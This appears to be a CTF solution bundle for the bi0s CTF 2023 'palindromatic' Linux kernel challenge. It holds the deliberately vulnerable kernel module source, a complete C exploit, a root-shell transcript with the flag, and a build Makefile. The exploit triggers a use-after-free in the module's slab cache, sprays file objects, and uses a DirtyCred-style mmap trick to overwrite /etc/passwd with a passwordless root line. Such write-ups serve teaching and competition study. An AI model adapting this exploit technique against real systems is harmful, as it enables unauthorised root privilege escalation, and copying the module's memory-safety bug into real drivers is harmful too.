#palindromatic

#include "linux/random.h"
#include "palindromatic_util.c"

char *temp_buffer;
unsigned long magic;
queue_t incoming_queue;
queue_t outgoing_queue;
bool sanitized = false;

/*
 Copy request from user and add to start of queue
*/
static noinline long pm_add_request(arg_t *arg)
{
    long idx = -1;
    request_t *req = kmem_cache_zalloc(pm_cache, GFP_KERNEL);
    if(!req) goto end;

    req->type = RAW;
    req->magic = magic;
    if(copy_from_user(req->str, arg->buffer, STRING_SZ))
    {
        kfree(req);
        goto end;
    }
    idx = pm_queue_enqueue(&incoming_queue, req);
    
end:
    return idx;
}

/*
 Accept characters only in [A-Z|a-z] and translate to [A-Z]
 Only 1 sanitize is allowed
*/
static noinline long pm_sanitize_request(void)
{
    long idx = -1;

    request_t *req = pm_queue_peek(&incoming_queue);
    if(!req) goto end;
    if(req->type == SANITIZED) goto end;

    memset(temp_buffer, 0x0, STRING_SZ);

    int ptr = 0;
    for(int i = 0; i < STRING_SZ; i++)
    {
        if(!req->str[i]) break;

        if(req->str[i] > 0x60 && req->str[i] < 0x7b)
            temp_buffer[ptr++] = req->str[i]-0x20;

        else if(req->str[i] > 0x40 && req->str[i] < 0x5b)
            temp_buffer[ptr++] = req->str[i];

        else continue;
    }

    temp_buffer[ptr] = 0;
    strcpy(req->sanstr, temp_buffer);
    req->type = SANITIZED;

    idx = pm_queue_enqueue(&incoming_queue, pm_queue_dequeue(&incoming_queue));

end:
    return idx;
}

/*
 If request is raw, remove it
 else, set it to raw and send it back to start of the queue
*/
static noinline long pm_reset_request(void)
{
    request_t *req = pm_queue_dequeue(&incoming_queue);
    if(!req) return -1;

    if(req->type != RAW)
    {
        req->type = RAW;
        memset(req->sanstr, 0x0, sizeof(req->sanstr));
        pm_queue_enqueue(&incoming_queue, req);
    }

    else
    {
        kfree(req);
    }
    return 0;
}

/*
 Check if it is a palindrome or not and set type accordingly
 Remove from incoming queue and add to outgoing queue
*/
static noinline long pm_process_request(void)
{
    long idx = -1;

    request_t *req = pm_queue_peek(&incoming_queue);
    if(!req) goto end;
    if(req->magic != magic) goto end;
    int len = req->type==SANITIZED?strlen(req->sanstr):strlen(req->str);
    if(!len) goto end;
    idx = pm_queue_enqueue(&outgoing_queue, req);
    if(idx < 0) goto end;

    memset(temp_buffer, 0x0, STRING_SZ);
    if(req->type == RAW)
    {
        for(int i = (len/2)-1; i > -1; i--)
        {
            if(req->str[i] < 0x41 || req->str[i] > 0x5a) break;
            temp_buffer[i] = req->str[i];
        }
        temp_buffer[len/2] = 0;
        
        if(strcmp(temp_buffer, &req->str[len/2]+len%2)) req->type = NONPALINDROME;
        else req->type = PALINDROME;
        pm_queue_dequeue(&incoming_queue);
    }

    if(req->type == SANITIZED)
    {
        for(int i = (len/2)-1; i > -1; i--) temp_buffer[i] = req->sanstr[i];
        temp_buffer[len/2] = 0;

        if(strcmp(temp_buffer, &req->sanstr[len/2]+len%2)) req->type = NONPALINDROME;
        else req->type = PALINDROME;
        pm_queue_dequeue(&incoming_queue);
    } 

end:
    return idx;
}

/*
 Get result of first request in outgoing queue
*/
static noinline long pm_reap_request(void)
{
    request_t *req = pm_queue_dequeue(&outgoing_queue);
    if(!req) return -1;
    if(req->magic != magic) return -1;
    
    long ret = req->type==PALINDROME?1:0;
    kfree(req);

    return ret;
}

/*
 Get the available slots in both queues
*/
static noinline long pm_query_capacity(void)
{
    long ret = (QUEUE_SZ-pm_queue_count(&outgoing_queue))<<16 
                | (QUEUE_SZ-pm_queue_count(&incoming_queue));
    return ret;
}


static long pm_ioctl(struct file *file, unsigned int cmd, unsigned long uarg)
{   
    arg_t arg;
    long ret = -1;
    mutex_lock(&lock);

    switch(cmd)
    {
        case QUEUE:
            if(copy_from_user(&arg, (void *)uarg, sizeof(arg_t))) goto end;
            ret = pm_add_request(&arg);
            break;

        case SANITIZE:
            if(sanitized) goto end;
            sanitized = true;
            ret = pm_sanitize_request();
            break;

        case RESET:
            ret = pm_reset_request();
            break;

        case PROCESS:
            ret = pm_process_request();
            break;

        case REAP:
            ret = pm_reap_request();
            break;

        case QUERY:
            ret = pm_query_capacity();
            break;

        default:
            goto end;
    }

end:
    mutex_unlock(&lock);
    return ret;
}


static int __init init_palindromatic(void)
{
    if(misc_register(&pm_device) < 0) goto err;

    pm_cache = kmem_cache_create("palindromatic", TARGET_SZ, __alignof__(request_t), 
                            SLAB_ACCOUNT | SLAB_PANIC | SLAB_HWCACHE_ALIGN | SLAB_NO_MERGE, NULL);
    if(!pm_cache) goto err; 

    temp_buffer = kzalloc(TARGET_SZ, GFP_KERNEL);
    if(!temp_buffer) goto err;

    get_random_bytes(&magic, sizeof(magic));
    pm_queue_init(&incoming_queue);
    pm_queue_init(&outgoing_queue);

    return 0;

err:
    if(pm_cache) kmem_cache_destroy(pm_cache);
    printk(KERN_ALERT "[-] Failed to register pipeparty");
    return -1;
}


static void __exit exit_palindromatic(void)
{
    kfree(temp_buffer);
    kmem_cache_destroy(pm_cache);
    misc_deregister(&pm_device);
}

module_init(init_palindromatic);
module_exit(exit_palindromatic);

#include <linux/compiler.h>
#include <linux/kobject.h>
#include <asm/page_types.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/device.h>
#include <linux/mutex.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <linux/miscdevice.h>
#include <linux/gfp.h>
#include <linux/random.h>
#include <linux/gfp_types.h>
#include <linux/slab.h>
#include <linux/list.h>

MODULE_AUTHOR("k1R4");                        
MODULE_DESCRIPTION("\"palindromatic\" - bi0s CTF 2023");
MODULE_LICENSE("GPL");

enum : unsigned int
{
    QUEUE = 0xb10500a,
    SANITIZE,
    RESET,
    PROCESS,
    REAP,
    QUERY
};

typedef enum ptype : unsigned long
{
    RAW = 0x1337,
    SANITIZED,
    PALINDROME,
    NONPALINDROME
} ptype;

#define TARGET_SZ   0x400
#define STRING_SZ   ((TARGET_SZ-2*sizeof(unsigned long))/2)

typedef struct request_t 
{
    ptype type;
    unsigned long magic;
    char str[STRING_SZ];
    char sanstr[STRING_SZ];
} request_t;

typedef struct arg_t
{
    char *buffer;
} arg_t;

#define QUEUE_SZ     0x100

typedef struct queue_t
{
    int front;
    int rear;
    request_t *reqs[QUEUE_SZ];
} queue_t;

DEFINE_MUTEX(lock);
struct kmem_cache *pm_cache;

static noinline long pm_ioctl(struct file *file, unsigned int cmd, unsigned long uarg);

static struct file_operations pm_fops = { .unlocked_ioctl = pm_ioctl };

struct miscdevice pm_device = {
    .minor = MISC_DYNAMIC_MINOR,
    .name = "palindromatic",
    .fops = &pm_fops,
};                                               

#include "palindromatic.h"

static void pm_queue_init(queue_t *queue)
{
    queue->front = queue->rear = -1; 
    for(int i = 0; i<QUEUE_SZ; i++) queue->reqs[i] = NULL;
}


static long pm_queue_enqueue(queue_t *queue, request_t *req)
{
    if((queue->front == 0 && queue->rear == QUEUE_SZ-1) || (queue->rear+1)%QUEUE_SZ == queue->front) return -1;

    else if(queue->front == -1)
    {
        queue->front = queue->rear = 0;
        queue->reqs[queue->rear] = req;
    }

    else if(queue->rear == QUEUE_SZ-1 && queue->front != 0)
    {
        queue->rear = 0;
        queue->reqs[queue->rear] = req;
    }

    else 
    {
        queue->rear++;
        queue->reqs[queue->rear] = req;
    }

    return queue->rear;
}


static request_t *pm_queue_dequeue(queue_t *queue)
{
    if(queue->front == -1) return NULL;

    request_t *req = queue->reqs[queue->front];
    queue->reqs[queue->front] = NULL;

    if(queue->front == queue->rear) queue->front = queue->rear = -1;
    else if(queue->front == QUEUE_SZ-1) queue->front = 0;
    else queue->front++;

    return req;
}


static request_t *pm_queue_peek(queue_t *queue)
{
    if(queue->front == -1) return NULL;
    else return queue->reqs[queue->front];
}


static int pm_queue_count(queue_t *queue)
{
    if(queue->front == -1) 
        return 0;

    else if(queue->rear >= queue->front)
        return queue->rear-queue->front+1;

    else
        return QUEUE_SZ - queue->front + queue->rear + 1;
}

    pm_cache = kmem_cache_create("palindromatic", TARGET_SZ, __alignof__(request_t), 
                            SLAB_ACCOUNT | SLAB_PANIC | SLAB_HWCACHE_ALIGN | SLAB_NO_MERGE, NULL);
    if(!pm_cache) goto err; 

#define TARGET_SZ   0x400
#define STRING_SZ   ((TARGET_SZ-2*sizeof(unsigned long))/2)

typedef struct request_t 
{
    ptype type;
    unsigned long magic;
    char str[STRING_SZ];
    char sanstr[STRING_SZ];
} request_t;

/*
 Accept characters only in [A-Z|a-z] and translate to [A-Z]
 Only 1 sanitize is allowed
*/
static noinline long pm_sanitize_request(void)
{
    long idx = -1;

    request_t *req = pm_queue_peek(&incoming_queue);
    if(!req) goto end;
    if(req->type == SANITIZED) goto end;

    memset(temp_buffer, 0x0, STRING_SZ);

    int ptr = 0;
    for(int i = 0; i < STRING_SZ; i++)
    {
        if(!req->str[i]) break;

        if(req->str[i] > 0x60 && req->str[i] < 0x7b)
            temp_buffer[ptr++] = req->str[i]-0x20;

        else if(req->str[i] > 0x40 && req->str[i] < 0x5b)
            temp_buffer[ptr++] = req->str[i];

        else continue;
    }

    temp_buffer[ptr] = 0;
    strcpy(req->sanstr, temp_buffer);
    req->type = SANITIZED;

    idx = pm_queue_enqueue(&incoming_queue, pm_queue_dequeue(&incoming_queue));

end:
    return idx;
}

/*
 Check if it is a palindrome or not and set type accordingly
 Remove from incoming queue and add to outgoing queue
*/
static noinline long pm_process_request(void)
{
    long idx = -1;

    request_t *req = pm_queue_peek(&incoming_queue);
    if(!req) goto end;
    if(req->magic != magic) goto end;
    int len = req->type==SANITIZED?strlen(req->sanstr):strlen(req->str);
    if(!len) goto end;
    idx = pm_queue_enqueue(&outgoing_queue, req);
    if(idx < 0) goto end;

    memset(temp_buffer, 0x0, STRING_SZ);
    if(req->type == RAW)
    {
        for(int i = (len/2)-1; i > -1; i--)
        {
            if(req->str[i] < 0x41 || req->str[i] > 0x5a) break;
            temp_buffer[i] = req->str[i];
        }
        temp_buffer[len/2] = 0;
        
        if(strcmp(temp_buffer, &req->str[len/2]+len%2)) req->type = NONPALINDROME;
        else req->type = PALINDROME;
        pm_queue_dequeue(&incoming_queue);
    }

    if(req->type == SANITIZED)
    {
        for(int i = (len/2)-1; i > -1; i--) temp_buffer[i] = req->sanstr[i];
        temp_buffer[len/2] = 0;

        if(strcmp(temp_buffer, &req->sanstr[len/2]+len%2)) req->type = NONPALINDROME;
        else req->type = PALINDROME;
        pm_queue_dequeue(&incoming_queue);
    } 

end:
    return idx;
}

#define  _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <stdint.h>
#include <err.h>
#include <errno.h>
#include <sys/syscall.h>
#include <sched.h>
#include <sys/mman.h>
#include <stdlib.h>

/* palindromatic.h START */
enum : unsigned int
{
    QUEUE = 0xb10500a,
    SANITIZE,
    RESET,
    PROCESS,
    REAP,
    QUERY
};

typedef enum ptype : unsigned long
{
    RAW = 0x1337,
    SANITIZED,
    PALINDROME,
    NONPALINDROME
} ptype;

#define TARGET_SZ   0x400
#define STRING_SZ   ((TARGET_SZ-2*sizeof(unsigned long))/2)

typedef struct request_t 
{
    ptype type;
    unsigned long magic;
    char str[STRING_SZ];
    char sanstr[STRING_SZ];
} request_t;

typedef struct arg_t
{
    char *buffer;
} arg_t;

#define QUEUE_SZ     0x100
/* palindromatic.h END */

// /sys/kernel/slab/filp/objs_per_slab
#define OBJS_PER_SLAB (8UL)
// /sys/kernel/slab/filp/cpu_partial
#define CPU_PARTIAL (24UL)
#define OBJ_SIZE (0x400UL)

#define MSG_SPRAYS (512)
#define KEY_SPRAYS (512)

#define try(expr)({ \
    int _i = (expr); \
    if (0 > _i) { \
        errx(1, "error at %s:%d: returned %d, %s\n", __FILE__, __LINE__, _i, strerror(errno)); \
    } \
    _i; \
})

#define warn(expr)({ \
    int _i = (expr); \
    if (0 > _i) { \
        printf("pwn: error at %s:%d: returned %d, %s\n", __FILE__, __LINE__, _i, strerror(errno)); \
    } \
    _i; \
})

typedef struct {
    uint16_t incoming;
    uint16_t outgoing;
} __attribute__((packed)) capacity;

int dfd;

capacity unused(capacity *cap) {
    union {
        capacity cap;
        long status;
    } response;

    response.status = try(ioctl(dfd, QUERY));
    *cap = response.cap;
    return *cap;
}

capacity used(capacity *cap) {
    unused(cap);
    cap->incoming = QUEUE_SZ - cap->incoming;
    cap->outgoing = QUEUE_SZ - cap->outgoing;

    return *cap;
}

void prompt(char *str) {
    printf("%s", str);
    getchar();
    warn(ioctl(dfd, QUERY));
}

int busyloop(void *arg) {
    while (1) {}
}

int main() {
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    printf("[+] starting exploit\n");

    dfd = try(open("/dev/palindromatic", O_RDONLY));

    char repeat[TARGET_SZ] = {0};
    memset(repeat, 0x41, sizeof(repeat));

    arg_t req = { .buffer = repeat, };
    capacity cap;

    int count = 0;

    for (int i = 0; i < OBJS_PER_SLAB; i++) {
        try (ioctl(dfd, QUEUE, &req));
        count++;
    }

    for (int i = 0; i < OBJS_PER_SLAB * (CPU_PARTIAL - 1); i++) {
        try(ioctl(dfd, QUEUE, &req));
        count++;
    }

    try(ioctl(dfd, SANITIZE));

    for (int i = 0; i < OBJS_PER_SLAB; i++) {
        try(ioctl(dfd, PROCESS));

        used(&cap);
        printf("(%03x): incoming: %d, outgoing: %d\n", i, cap.incoming, cap.outgoing);
        if (cap.incoming + cap.outgoing != count) {
            printf("chunk uafed\n");
            break;
        }
    }

    if (cap.incoming + cap.outgoing == count) {
        errx(1, "failed to uaf chunk");
    }

    for (int i = 0; i < OBJS_PER_SLAB; i++) {
        try(ioctl(dfd, QUEUE, &req));
    }

    printf("[+] freeing reference in outgoing list\n");
    int outgoing = cap.outgoing;
    for (int i = 0; i < outgoing; i++) {
        try(ioctl(dfd, REAP));
        used(&cap);
        printf("(%03x): incoming: %d, outgoing: %d\n", i, cap.incoming, cap.outgoing);
    }

    try(ioctl(dfd, RESET));

    while (outgoing != OBJS_PER_SLAB - 1) {
        try(ioctl(dfd, RESET));
        outgoing += 1;
    }

    printf("[+] filling outgoing list\n");
    for (int i = 0; i < OBJS_PER_SLAB * (CPU_PARTIAL - 1); i++) {
        int before = used(&cap).incoming;
        try(ioctl(dfd, PROCESS));
        int after = used(&cap).incoming;
        
        if (after + 1 != before) {
            printf("[+] after: %d, before: %d\n", after, before);
            errx(1, "something went wrong???");
        }
    }

    for (int i = 0; i < 8; i++) {
        try(ioctl(dfd, PROCESS));
    }

    try(ioctl(dfd, PROCESS));

    for (int i = 0; i < OBJS_PER_SLAB * CPU_PARTIAL; i++) {
        try(ioctl(dfd, REAP));
    }

    used(&cap);
    printf("incoming: %d, outgoing; %d\n", cap.incoming, cap.outgoing);

    #define NUM_SPRAY_FDS (0x300)
    int spray_fds[NUM_SPRAY_FDS];
    for (int i = 0; i < NUM_SPRAY_FDS; i++) {
        spray_fds[i] = try(open("/tmp/a", O_RDWR));
    }

    try(ioctl(dfd, RESET));
    try(ioctl(dfd, RESET));

    int spray_fds_2[NUM_SPRAY_FDS];
    for (int i = 0; i < NUM_SPRAY_FDS; i++) {
        spray_fds_2[i] = open("/tmp/a", O_RDWR);
        lseek(spray_fds_2[i], 0x8, SEEK_SET);
    }

    int freed_fd = -1;
    for (int i = 0; i < NUM_SPRAY_FDS; i++) {
        if (lseek(spray_fds[i], 0 ,SEEK_CUR) == 0x8) {
            freed_fd = spray_fds[i];
            lseek(freed_fd, 0x0, SEEK_SET);
            printf("[+] Found freed fd: %d\n", freed_fd);
        }
    }
    if (freed_fd == -1)
        errx(1, "failed to find freed fd");

    puts("[+] DirtyCred via mmap");
    char *file_mmap = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, freed_fd, 0);
    // After: 3 fd 2 refcount (Because new file)

    close(freed_fd);
    // After: 2 fd 1 refcount (Because new file)

    for (int i = 0; i < NUM_SPRAY_FDS; i++) {
        close(spray_fds_2[i]);
    }
    // After: 1 fd 0 refcount (Because new file)
    // Effect: FD in mmap (which is writeable) can be replaced with RDONLY file

    for (int i = 0; i < NUM_SPRAY_FDS; i++) {
        spray_fds[i] = open("/etc/passwd", O_RDONLY);
    }
    // After: 2 fd 1 refcount (but writeable due to mmap)

    strcpy(file_mmap, "root::0:0:root:/root:/bin/sh\n");
    puts("[+] Finished! Open root shell...");
    puts("=======================");

    while (1) {}
}

/ # id
id
uid=0(root) gid=0(root) groups=0(root)
/ # cat /root/flag
cat /root/flag
bi0sctf{p4l1ndr0me5_4r3_pr0bl3m4t1c_frfr_b851ea94}
/ # 

all: build

build: exploit.c src/palindromatic.h
	zig cc exploit.c -o exploit-musl -static -target x86_64-linux-musl
	gcc    exploit.c -o exploit-libc -static